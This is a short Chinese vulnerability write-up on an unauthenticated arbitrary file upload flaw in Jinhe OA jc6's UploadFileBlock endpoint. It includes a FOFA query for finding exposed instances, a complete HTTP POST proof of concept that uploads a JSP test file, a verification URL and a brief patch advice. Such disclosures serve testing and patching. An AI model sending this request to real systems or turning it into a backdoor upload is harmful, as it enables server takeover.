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Published on 2024-08-30 / 3 Visits
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J1-8金和-OA-文件上传

J1-8金和-OA-文件上传

漏洞描述:

金和OA jc6系统UploadFileBlock接口处存在任意文件上传漏洞,未经身份认证的攻击者可利用此漏洞上传恶意后门文件,最终可导致服务器失陷。

影响版本:

  • 金和 OA

网络测绘:

fofa语法:

FOFA:body=“/jc6/platform/sys/login”

漏洞复现:

payload:

POST /jc6/JHSoft.WCF/Attachment/UploadFileBlock HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept: */*
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAXlSiqxJXrhK

------WebKitFormBoundary5iALAXlSiqxJXrhK
Content-Disposition: form-data; name="filename"; filename="a.jsp"

<% out.println("Hello, World!"); %>
------WebKitFormBoundary5iALAXlSiqxJXrhK--

效果图:
b2581281aaac4477ac6cfdc8672e6364.png
验证url

/jc6/upload/a.jsp

修复建议:

更新到最新系统


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